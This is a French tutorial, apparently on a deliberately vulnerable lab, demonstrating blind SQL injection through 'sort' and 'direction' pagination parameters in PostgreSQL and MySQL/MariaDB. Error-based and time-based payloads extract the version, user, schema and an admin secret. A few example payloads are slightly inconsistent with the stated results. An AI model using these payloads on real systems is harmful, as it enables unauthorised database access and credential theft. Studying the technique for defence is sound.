
PostgreSQL

Exploitation du paramètre "sort"

La payload utilisée est celle-ci :

(SELECT CASE WHEN ASCII(SUBSTRING(DATA_TO_RETRIEVE),1,1))=ASCII('CHAR_TO_RETRIEVE') THEN lastname ELSE (1/(SELECT 0))::text END)

Lorsque la condition est vraie, le résultat sera trié par la colonne "lastname". Sinon, selon l'application, une erreur générique ou une page blanche sera renvoyée.

CASE : Permet d'exécuter une instruction conditionnelle.

WHEN : Condition de l'instruction conditionnelle.

ASCII : Retourne le code ASCII du premier caractère d'une chaîne de caractères.

SUBSTRING : Extrait une sous-chaîne.

THEN : Lorsque le condition est vérifiée, le résultat est trié par la colonne "lastname".

ELSE : Lorsque la condition n'est pas vérifiée, la division par zéro va provoquer une erreur "Error: SQLSTATE[22012]: Division by zero: 7 ERREUR: division par zéro".

Récupération de la version de PostgreSQL :

(SELECT CASE WHEN ASCII(SUBSTRING(VERSION(),1,1))=ASCII('P') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING(VERSION(),2,1))=ASCII('o') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING(VERSION(),3,1))=ASCII('s') THEN lastname ELSE (1/(SELECT 0))::text END)

La version de la base de données est "PostgreSQL 15.7 (Debian 15.7-0+deb12u1)".

Une solution plus rapide permettant d'identifier le type de base de données peut être la suivante :

(SELECT CASE WHEN (VERSION() LIKE '%PostgreSQL%') THEN lastname ELSE (1/(SELECT 0))::text END)

Récupération de l'utilisateur PostgreSQL :

(SELECT CASE WHEN ASCII(SUBSTRING(CURRENT_USER,1,1))=ASCII('s') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING(CURRENT_USER,2,1))=ASCII('q') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING(CURRENT_USER,3,1))=ASCII('l') THEN lastname ELSE (1/(SELECT 0))::text END)

L'utilisateur PostgreSQL est "sql_injection_in_pagination_clauses".

Récupération du nom de la base de données :

(SELECT CASE WHEN ASCII(SUBSTRING(CURRENT_CATALOG,1,1))=ASCII('s') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING(CURRENT_CATALOG,2,1))=ASCII('q') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING(CURRENT_CATALOG,3,1))=ASCII('l') THEN lastname ELSE (1/(SELECT 0))::text END)

Le nom de la base de donnéest est "sql_injection_in_pagination_clauses_database".

Récupération du nombre de tables :

(SELECT CASE WHEN ASCII(SUBSTRING((SELECT COUNT(tablename) FROM pg_tables WHERE schemaname = 'public')::text,1,1))=ASCII('2') THEN lastname ELSE (1/(SELECT 0))::text END)

La base de données possède deux tables.

Récupération des noms des tables :

(SELECT CASE WHEN ASCII(SUBSTRING((SELECT tablename FROM pg_tables WHERE schemaname = 'public' LIMIT 1 OFFSET 0)::text,1,1))=ASCII('u') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT tablename FROM pg_tables WHERE schemaname = 'public' LIMIT 1 OFFSET 0)::text,1,1))=ASCII('s') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT tablename FROM pg_tables WHERE schemaname = 'public' LIMIT 1 OFFSET 0)::text,1,1))=ASCII('e') THEN lastname ELSE (1/(SELECT 0))::text END)

Le nom de la première table est "users".

(SELECT CASE WHEN ASCII(SUBSTRING((SELECT tablename FROM pg_tables WHERE schemaname = 'public' LIMIT 1 OFFSET 1)::text,1,1))=ASCII('s') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT tablename FROM pg_tables WHERE schemaname = 'public' LIMIT 1 OFFSET 1)::text,2,1))=ASCII('e') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT tablename FROM pg_tables WHERE schemaname = 'public' LIMIT 1 OFFSET 1)::text,3,1))=ASCII('c') THEN lastname ELSE (1/(SELECT 0))::text END)

Le nom de la seconde table est "secrets".

Récupération du nombre de colonnes de la table "secrets" :

(SELECT CASE WHEN ASCII(SUBSTRING((SELECT COUNT(a.attname) FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped)::text,1,1))=ASCII('3') THEN lastname ELSE (1/(SELECT 0))::text END)

La table "secrets" possède trois colonnes.

Récupération des noms des colonnes :

(SELECT CASE WHEN ASCII(SUBSTRING((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 0)::text,1,1))=ASCII('i') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 0)::text,2,1))=ASCII('d') THEN lastname ELSE (1/(SELECT 0))::text END)

La première colonne se nomme "id".

(SELECT CASE WHEN ASCII(SUBSTRING((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 1)::text,1,1))=ASCII('u') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 1)::text,2,1))=ASCII('s') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 1)::text,3,1))=ASCII('e') THEN lastname ELSE (1/(SELECT 0))::text END)

La seconde colonne se nomme "username".

(SELECT CASE WHEN ASCII(SUBSTRING((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 2)::text,1,1))=ASCII('s') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 2)::text,2,1))=ASCII('e') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 2)::text,3,1))=ASCII('c') THEN lastname ELSE (1/(SELECT 0))::text END)

La troisième et dernière colonne se nomme "secret".

Récupération du secret de l'administrateur :

(SELECT CASE WHEN ASCII(SUBSTRING((SELECT username FROM secrets LIMIT 1 OFFSET 0)::text,1,1))=ASCII('a') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT username FROM secrets LIMIT 1 OFFSET 0)::text,2,1))=ASCII('d') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT username FROM secrets LIMIT 1 OFFSET 0)::text,3,1))=ASCII('m') THEN lastname ELSE (1/(SELECT 0))::text END)

Le nom d'utilisateur est "admin".

(SELECT CASE WHEN ASCII(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0)::text,1,1))=ASCII('M') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0)::text,2,1))=ASCII('o') THEN lastname ELSE (1/(SELECT 0))::text END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0)::text,3,1))=ASCII('n') THEN lastname ELSE (1/(SELECT 0))::text END)

Son secret est "Mon mot de passe est passw0rd"

Exploitation du paramètre "direction"

L'exploitation du paramètre "direction" est très similaire à celle du paramètre "sort". Pour cette raison, seule la récupération du secret de l'administrateur sera illustrée :

ASC, (SELECT CASE WHEN ASCII(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0)::text,1,1))=ASCII('M') THEN lastname ELSE (1/(SELECT 0))::text END)
ASC, (SELECT CASE WHEN ASCII(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0)::text,2,1))=ASCII('o') THEN lastname ELSE (1/(SELECT 0))::text END)
ASC, (SELECT CASE WHEN ASCII(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0)::text,3,1))=ASCII('n') THEN lastname ELSE (1/(SELECT 0))::text END)

Time-based

Une injection SQL "time-based" est un type d'attaque SQL qui exploite le temps de réponse du serveur de base de données pour extraire des informations. Contrairement aux techniques précédentes, qui reposent sur des messages d'erreur ou des résultats vrai/faux, les injections SQL "time-based" exploitent les délais pour déduire si une requête est vraie ou fausse. Ce type d'exploitation étant assez long, seules quelques requêtes seront présentées ici.

MySQL

Exploitation du paramètre "sort"

La payload utilisée est celle-ci :

lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING(DATA_TO_RETRIEVE,1,1))=ORD('CHAR_TO_RETRIEVE'),0,5))))a)

Si la condition est vraie, aucun délai n'est appliqué. Sinon, un délai de 5 secondes est ajouté.

IF : Exécute une expression conditionnelle et retourner des résultats différents en fonction de la condition évaluée.

ORD : Retourne le code ASCII du premier caractère d'une chaîne de caractères.

SUBSTRING : Extrait une sous-chaîne.

Ne pas oublier d'ajouter une chaîne de caractères, ici simplement "a", en tant que nom de table.

La console de développement du navigateur est suffisante pour visualiser le temps de réponse de la requête :

Récupération de la version de MySQL :

lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING(VERSION(),1,1))=ORD('1'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING(VERSION(),2,1))=ORD('0'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING(VERSION(),3,1))=ORD('.'),0,5))))a)

La version de la base de données est "10.11.6-MariaDB".

Une solution plus rapide permettant d'identifier le type de base de données peut être la suivante :

lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(VERSION() LIKE '%MariaDB%',0,5))))a)

Récupération de l'utilisateur MySQL :

lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING(USER(),1,1))=ORD('s'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING(USER(),2,1))=ORD('q'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING(USER(),3,1))=ORD('l'),0,5))))a)

L'utilisateur MySQL est "sql_injection_in_pagination_clauses@localhost".

Récupération du nom de la base de données :

lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING(DATABASE(),1,1))=ORD('s'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING(DATABASE(),2,1))=ORD('q'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING(DATABASE(),3,1))=ORD('l'),0,5))))a)

Le nom de la base de donnéest est "sql_injection_in_pagination_clauses_database".

Récupération du nombre de tables :

lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'sql_injection_in_pagination_clauses_database'),1,1))=ORD('2'),0,5))))a)

La base de données possède deux tables.

Récupération des noms des tables :

lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'sql_injection_in_pagination_clauses_database' LIMIT 1 OFFSET 0),1,1))=ORD('u'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'sql_injection_in_pagination_clauses_database' LIMIT 1 OFFSET 0),2,1))=ORD('s'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'sql_injection_in_pagination_clauses_database' LIMIT 1 OFFSET 0),3,1))=ORD('e'),0,5))))a)

Le nom de la première table est "users".

lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'sql_injection_in_pagination_clauses_database' LIMIT 1 OFFSET 1),1,1))=ORD('s'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'sql_injection_in_pagination_clauses_database' LIMIT 1 OFFSET 1),2,1))=ORD('e'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'sql_injection_in_pagination_clauses_database' LIMIT 1 OFFSET 1),3,1))=ORD('c'),0,5))))a)

Le nom de la seconde table est "secrets".

Récupération du nombre de colonnes de la table "secrets" :

lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets'),1,1))=ORD('3'),0,5))))a)

La table "secrets" possède trois colonnes.

Récupération des noms des colonnes :

lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 1 OFFSET 0),1,1))=ORD('i'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 1 OFFSET 0),2,1))=ORD('d'),0,5))))a)

La première colonne se nomme "id".

lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 1 OFFSET 1),1,1))=ORD('u'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 1 OFFSET 1),2,1))=ORD('s'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 1 OFFSET 1),3,1))=ORD('e'),0,5))))a)

La seconde colonne se nomme "username".

lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 1 OFFSET 2),1,1))=ORD('s'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 1 OFFSET 2),2,1))=ORD('e'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 1 OFFSET 2),3,1))=ORD('c'),0,5))))a)

La troisième et dernière colonne se nomme "secret".

Récupération du secret de l'administrateur :

lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT username FROM secrets LIMIT 1 OFFSET 0),1,1))=ORD('a'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT username FROM secrets LIMIT 1 OFFSET 0),2,1))=ORD('d'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT username FROM secrets LIMIT 1 OFFSET 0),3,1))=ORD('d'),0,5))))a)

Le nom d'utilisateur est "admin".

lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0),1,1))=ORD('M'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0),2,1))=ORD('o'),0,5))))a)
lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0),3,1))=ORD('n'),0,5))))a)

Son secret est "Mon mot de passe est passw0rd"

Exploitation du paramètre "direction"

L'exploitation du paramètre "direction" est très similaire à celle du paramètre "sort". Pour cette raison, seule la récupération du secret de l'administrateur sera illustrée :

ASC,(SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0),1,1))=ORD('M'),0,5))))a)
ASC,(SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0),2,1))=ORD('o'),0,5))))a)
ASC,(SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0),3,1))=ORD('n'),0,5))))a)

PostgreSQL

Exploitation du paramètre "sort"

La payload utilisée est celle-ci :

(SELECT CASE WHEN ASCII(SUBSTRING(DATA_TO_RETRIEVE,1,1))=ASCII('CHAR_TO_RETRIEVE') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)

Si la condition est vraie, aucun délai n'est appliqué. Sinon, un délai de 5 secondes est ajouté.

CASE : Permet d'exécuter une instruction conditionnelle.

WHEN : Condition de l'instruction conditionnelle.

ASCII : Retourne le code ASCII du premier caractère d'une chaîne de caractères.

SUBSTRING : Extrait une sous-chaîne.

THEN : Lorsque le condition est vérifiée, un délai de 0 seconde est ajouté.

ELSE : Lorsque la condition n'est pas vérifiée, un délai de 5 secondes est ajouté.

La console de développement du navigateur est suffisante pour visualiser le temps de réponse de la requête :

Récupération de la version de PostgreSQL :

(SELECT CASE WHEN ASCII(SUBSTRING(VERSION(),1,1))=ASCII('P') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
(SELECT CASE WHEN ASCII(SUBSTRING(VERSION(),2,1))=ASCII('o') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
(SELECT CASE WHEN ASCII(SUBSTRING(VERSION(),3,1))=ASCII('s') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)

La version de la base de données est "PostgreSQL 15.7 (Debian 15.7-0+deb12u1)".

Une solution plus rapide permettant d'identifier le type de base de données peut être la suivante :

(SELECT CASE WHEN (VERSION() LIKE '%PostgreSQL%') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)

Récupération de l'utilisateur PostgreSQL :

(SELECT CASE WHEN ASCII(SUBSTRING(CURRENT_USER,1,1))=ASCII('s') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
(SELECT CASE WHEN ASCII(SUBSTRING(CURRENT_USER,2,1))=ASCII('q') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
(SELECT CASE WHEN ASCII(SUBSTRING(CURRENT_USER,3,1))=ASCII('l') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)

L'utilisateur PostgreSQL est "sql_injection_in_pagination_clauses".

Récupération du nom de la base de données :

(SELECT CASE WHEN ASCII(SUBSTRING(CURRENT_CATALOG,1,1))=ASCII('s') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
(SELECT CASE WHEN ASCII(SUBSTRING(CURRENT_CATALOG,2,1))=ASCII('q') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
(SELECT CASE WHEN ASCII(SUBSTRING(CURRENT_CATALOG,3,1))=ASCII('q') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)

Le nom de la base de donnéest est "sql_injection_in_pagination_clauses_database".

Récupération du nombre de tables :

(SELECT CASE WHEN ASCII(SUBSTRING((SELECT COUNT(tablename) FROM pg_tables WHERE schemaname = 'public')::text,1,1))=ASCII('2') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)

La base de données possède deux tables.

Récupération des noms des tables :

(SELECT CASE WHEN ASCII(SUBSTRING((SELECT tablename FROM pg_tables WHERE schemaname = 'public' LIMIT 1 OFFSET 0)::text,1,1))=ASCII('u') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT tablename FROM pg_tables WHERE schemaname = 'public' LIMIT 1 OFFSET 0)::text,2,1))=ASCII('s') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT tablename FROM pg_tables WHERE schemaname = 'public' LIMIT 1 OFFSET 0)::text,3,1))=ASCII('e') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)

Le nom de la première table est "users".

(SELECT CASE WHEN ASCII(SUBSTRING((SELECT tablename FROM pg_tables WHERE schemaname = 'public' LIMIT 1 OFFSET 1)::text,1,1))=ASCII('s') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT tablename FROM pg_tables WHERE schemaname = 'public' LIMIT 1 OFFSET 1)::text,2,1))=ASCII('e') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT tablename FROM pg_tables WHERE schemaname = 'public' LIMIT 1 OFFSET 1)::text,3,1))=ASCII('c') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)

Le nom de la seconde table est "secrets".

Récupération du nombre de colonnes de la table "secrets" :

(SELECT CASE WHEN ASCII(SUBSTRING((SELECT COUNT(a.attname) FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped)::text,1,1))=ASCII('3') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)

La table "secrets" possède trois colonnes.

Récupération des noms des colonnes :

(SELECT CASE WHEN ASCII(SUBSTRING((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 0)::text,1,1))=ASCII('i') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 0)::text,2,1))=ASCII('d') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)

La première colonne se nomme "id".

(SELECT CASE WHEN ASCII(SUBSTRING((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 1)::text,1,1))=ASCII('u') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 1)::text,2,1))=ASCII('s') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 1)::text,3,1))=ASCII('e') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)

La seconde colonne se nomme "username".

(SELECT CASE WHEN ASCII(SUBSTRING((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 2)::text,1,1))=ASCII('s') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 2)::text,2,1))=ASCII('e') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 2)::text,3,1))=ASCII('c') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)

La troisième et dernière colonne se nomme "secret".

Récupération du secret de l'administrateur :

(SELECT CASE WHEN ASCII(SUBSTRING((SELECT username FROM secrets LIMIT 1 OFFSET 0)::text,1,1))=ASCII('a') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT username FROM secrets LIMIT 1 OFFSET 0)::text,2,1))=ASCII('d') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
